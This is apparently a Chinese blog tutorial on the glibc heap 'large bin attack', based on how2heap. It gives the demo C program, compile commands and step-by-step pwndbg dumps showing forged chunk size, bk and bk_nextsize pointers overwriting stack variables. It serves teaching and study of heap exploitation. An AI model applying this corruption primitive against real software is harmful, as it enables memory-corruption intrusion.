how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
根据原文描述跟 unsorted bin attack 实现的功能差不多https://blog.csdn.net/weixin_44626085/article/details/136105051,都是把一个地址的值改为一个很大的数
先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0
分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了
申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉
最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并
free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ 0x603360 <--> 0x603000 ]
现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]
free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <--> 0x6030a0 ]
假设有个漏洞,可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20
再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:
stack_var1 (0x7fffffffe590): 0x6037a0
stack_var2 (0x7fffffffe598): 0x6037a0
#include
#include
int main()
{
fprintf(stderr, "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n");
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "先来看一下目标:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x320);
fprintf(stderr, "分配第一个 large chunk: %p\n", p1 - 2);
fprintf(stderr, "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n");
malloc(0x20);
unsigned long *p2 = malloc(0x400);
fprintf(stderr, "申请第二个 large chunk 在: %p\n", p2 - 2);
fprintf(stderr, "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n");
malloc(0x20);
unsigned long *p3 = malloc(0x400);
fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);
fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
malloc(0x20);
free(p1);
free(p2);
fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90);
fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3);
fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");
fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
malloc(0x90);
fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}
gcc -g large_bin_attack .c -o large_bin_attack
root@pwn_test1604:/ctf/work/how2heap# gcc -g large_bin_attack .c -o large_bin_attack
root@pwn_test1604:/ctf/work/how2heap# gdb ./large_bin_attack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./large_bin_attack ...done.
pwndbg> r
Starting program: /ctf/work/how2heap/large_bin_attack
根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数
先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0
分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了
申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉
最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并
free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ 0x603360 <--> 0x603000 ]
现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]
free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <--> 0x6030a0 ]
假设有个漏洞,可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20
再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:
stack_var1 (0x7fffffffe590): 0x6037a0
stack_var2 (0x7fffffffe598): 0x6037a0
[Inferior 1 (process 157) exited normally]
pwndbg>
该技术可用于修改任意地址的值,例如栈上的变量stack_var1和 stack_var2。在实践中常常作为其他漏洞利用的前奏,例如在fastbin attack 中用于修改全局变量global_max_fast为一个很大的值。
首先我们分配 chunk p1, p2 和 p3,并且在它们之间插入其他的 chunk 以防止在释放时被合并。
wndbg> b 32
Breakpoint 1 at 0x400850: file large_bin_attack .c, line 32.
pwndbg> r
Starting program: /ctf/work/how2heap/large_bin_attack
根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数
先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0
分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了
申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉
最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并
Breakpoint 1, main () at large_bin_attack .c:33
33 free(p1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x603bc0 ◂— 0x0
RBX 0x0
RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RDX 0x603bc0 ◂— 0x0
RDI 0x0
RSI 0x603be0 ◂— 0x0
R8 0x5f
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 ◂— 0x0
RIP 0x400850 (main+426) ◂— mov rax, qword ptr [rbp - 0x20]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400850 mov rax, qword ptr [rbp - 0x20]
0x400854 mov rdi, rax
0x400857 call free@plt <0x400540>
0x40085c mov rax, qword ptr [rbp - 0x18]
0x400860 mov rdi, rax
0x400863 call free@plt <0x400540>
0x400868 mov rax, qword ptr [rbp - 0x18]
0x40086c mov rax, qword ptr [rax]
0x40086f mov rcx, rax
0x400872 mov rax, qword ptr [rbp - 0x18]
0x400876 lea rdx, [rax - 0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
28 fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);
29
30 fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
31 malloc(0x20);
32
► 33 free(p1);
34 free(p2);
35 fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
36
37 malloc(0x90);
38 fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe5a0 —▸ 0x603010 ◂— 0x0
03:0018│ 0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0
05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400850 main+426
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/large_bin_attack .c:32
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x330 Used None None
0x603330 0x0 0x30 Used None None
0x603360 0x0 0x410 Used None None
0x603770 0x0 0x30 Used None None
0x6037a0 0x0 0x410 Used None None
0x603bb0 0x0 0x30 Used None None
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x330 Used None None p1
0x603330 0x0 0x30 Used None None p1
0x603360 0x0 0x410 Used None None p2
0x603770 0x0 0x30 Used None None p2
0x6037a0 0x0 0x410 Used None None p3
0x603bb0 0x0 0x30 Used None None p3
接下来释放p1和p2,它们被放入unsorted bin中。
pwndbg> b 35
Breakpoint 2 at 0x400868: file large_bin_attack .c, line 35.
pwndbg> c
Continuing.
Breakpoint 2, main () at large_bin_attack .c:35
35 fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x1
RBX 0x0
RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RDX 0x0
RDI 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RSI 0x0
R8 0x5f
R9 0x1
R10 0x8b8
R11 0x7ffff7a914f0 (free) ◂— push r13
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 ◂— 0x0
RIP 0x400868 (main+450) ◂— mov rax, qword ptr [rbp - 0x18]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x400854 mov rdi, rax
0x400857 call free@plt <0x400540>
0x40085c mov rax, qword ptr [rbp - 0x18]
0x400860 mov rdi, rax
0x400863 call free@plt <0x400540>
► 0x400868 mov rax, qword ptr [rbp - 0x18]
0x40086c mov rax, qword ptr [rax]
0x40086f mov rcx, rax
0x400872 mov rax, qword ptr [rbp - 0x18]
0x400876 lea rdx, [rax - 0x10]
0x40087a mov rax, qword ptr [rip + 0x2017df] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
30 fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
31 malloc(0x20);
32
33 free(p1);
34 free(p2);
► 35 fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
36
37 malloc(0x90);
38 fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));
39
40 free(p3);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603be0 ◂— 0x0
03:0018│ 0x7fffffffe5a8 —▸ 0x603370 —▸ 0x603000 ◂— 0x0
04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0
05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400868 main+450
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/large_bin_attack .c:35
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603360 —▸ 0x603000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603360 /* '`3`' */
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x330 Freed 0x7ffff7dd1b78 0x603360
0x603330 0x330 0x30 Used None None
0x603360 0x0 0x410 Freed 0x603000 0x7ffff7dd1b78
0x603770 0x410 0x30 Used None None
0x6037a0 0x0 0x410 Used None None
0x603bb0 0x0 0x30 Used None None
pwndbg>
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603360 —▸ 0x603000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603360 /* '`3`' */
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x330 Freed 0x7ffff7dd1b78 0x603360
0x603330 0x330 0x30 Used None None
0x603360 0x0 0x410 Freed 0x603000 0x7ffff7dd1b78
0x603770 0x410 0x30 Used None None
0x6037a0 0x0 0x410 Used None None
0x603bb0 0x0 0x30 Used None None
接下来去申请一个0x90大小的堆块,他会把前面那个0x320大小的堆块切割,同时会给unsorted bin中的free chunk进行整理划分,把那第二块大的放到large bin,第一个剩余的放回到unsorted bin中。
pwndbg> b 39
Breakpoint 4 at 0x4008c1: file large_bin_attack .c, line 39.
pwndbg> c
Continuing.
现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]
Breakpoint 4, main () at large_bin_attack .c:40
40 free(p3);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0xb0
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbf00 ◂— 0x8ee5a89ce5b08ee7
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0xb0
R10 0x0
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 ◂— 0x0
RIP 0x4008c1 (main+539) ◂— mov rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x4008a8 mov rax, qword ptr [rip + 0x2017b1] <0x602060>
0x4008af mov esi, 0x400d48
0x4008b4 mov rdi, rax
0x4008b7 mov eax, 0
0x4008bc call fprintf@plt <0x400570>
► 0x4008c1 mov rax, qword ptr [rbp - 0x10]
0x4008c5 mov rdi, rax
0x4008c8 call free@plt <0x400540>
0x4008cd mov rax, qword ptr [rbp - 0x10]
0x4008d1 mov rax, qword ptr [rax]
0x4008d4 mov rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
35 fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
36
37 malloc(0x90);
38 fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));
39
► 40 free(p3);
41 fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
42
43 fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");
44 fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");
45
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│ 0x7fffffffe5a8 —▸ 0x603370 —▸ 0x7ffff7dd1f68 (main_arena+1096) —▸ 0x7ffff7dd1f58 (main_arena+1080) —▸ 0x7ffff7dd1f48 (main_arena+1064) ◂— ...
04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0
05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4008c1 main+539
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/large_bin_attack .c:39
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6030a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6030a0
smallbins
empty
largebins
0x400: 0x603360 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x603360 /* '`3`' */
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0xa0 Used None None
0x6030a0 0x0 0x290 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x603330 0x290 0x30 Used None None
0x603360 0x0 0x410 Freed 0x7ffff7dd1f68 0x7ffff7dd1f68
0x603770 0x410 0x30 Used None None
0x6037a0 0x0 0x410 Used None None
0x603bb0 0x0 0x30 Used None None
pwndbg>
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6030a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6030a0 切割后剩余的
smallbins
empty
largebins
0x400: 0x603360 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x603360 /* '`3`' */ 整理进largebin中
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0xa0 Used None None
0x6030a0 0x0 0x290 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78 切割后剩余的
0x603330 0x290 0x30 Used None None
0x603360 0x0 0x410 Freed 0x7ffff7dd1f68 0x7ffff7dd1f68 整理进largebin中
0x603770 0x410 0x30 Used None None
0x6037a0 0x0 0x410 Used None None
0x603bb0 0x0 0x30 Used None None
接着free掉p3,将其放入unsorted bin,我们伪造的分别是p2的size、bk以及bk_nextsize,紧接着进行malloc操作,将p3整合进large bin。
Large bin是按照fd指针的顺序从大到小排列的,所以需要进行排序,排序的操作大概是:
//victim是p3、fwd是修改后的p2
{
victim->fd_nextsize = fwd;//1
victim->bk_nextsize = fwd->bk_nextsize;//2
fwd->bk_nextsize = victim;//3
victim->bk_nextsize->fd_nextsize = victim;//4
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
pwndbg> n
stack_var1 (0x7fffffffe590): 0x6037a0
55 fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x26
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbf00 ◂— 0x61765f6b63617473 ('stack_va')
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x26
R10 0x0
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
RIP 0x4009cf (main+809) ◂— mov rax, qword ptr [rbp - 0x28]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4009cf mov rax, qword ptr [rbp - 0x28]
0x4009d3 mov rcx, rax
0x4009d6 mov rax, qword ptr [rip + 0x201683] <0x602060>
0x4009dd lea rdx, [rbp - 0x28]
0x4009e1 mov esi, 0x40102c
0x4009e6 mov rdi, rax
0x4009e9 mov eax, 0
0x4009ee call fprintf@plt <0x400570>
0x4009f3 mov eax, 0
0x4009f8 mov rsi, qword ptr [rbp - 8]
0x4009fc xor rsi, qword ptr fs:[0x28]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
50 p2[3] = (unsigned long)(&stack_var2 - 4);
51
52 malloc(0x90);
53 fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
54 fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
► 55 fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
56 return 0;
57 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│ 0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0
05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4009cf main+809
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603360-0x20
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603360: 0x0000000000000000 0x00000000000003f1
0x603370: 0x0000000000000000 0x00000000006037a0
0x603380: 0x0000000000000000 0x00000000006037a0
0x603390: 0x0000000000000000 0x0000000000000000
0x6033a0: 0x0000000000000000 0x0000000000000000
0x6033b0: 0x0000000000000000 0x0000000000000000
0x6033c0: 0x0000000000000000 0x0000000000000000
0x6033d0: 0x0000000000000000 0x0000000000000000
0x6033e0: 0x0000000000000000 0x0000000000000000
0x6033f0: 0x0000000000000000 0x0000000000000000
0x603400: 0x0000000000000000 0x0000000000000000
0x603410: 0x0000000000000000 0x0000000000000000
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000
0x603450: 0x0000000000000000 0x0000000000000000
0x603460: 0x0000000000000000 0x0000000000000000
0x603470: 0x0000000000000000 0x0000000000000000
pwndbg> n
stack_var2 (0x7fffffffe598): 0x6037a0
56 return 0;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x26
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbf00 ◂— 0x61765f6b63617473 ('stack_va')
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x26
R10 0x0
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
RIP 0x4009f3 (main+845) ◂— mov eax, 0
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x4009dd lea rdx, [rbp - 0x28]
0x4009e1 mov esi, 0x40102c
0x4009e6 mov rdi, rax
0x4009e9 mov eax, 0
0x4009ee call fprintf@plt <0x400570>
► 0x4009f3 mov eax, 0
0x4009f8 mov rsi, qword ptr [rbp - 8]
0x4009fc xor rsi, qword ptr fs:[0x28]
0x400a05 je main+870 <0x400a0c>
↓
0x400a0c leave
0x400a0d ret
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
51
52 malloc(0x90);
53 fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
54 fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
55 fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
► 56 return 0;
57 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
... ↓
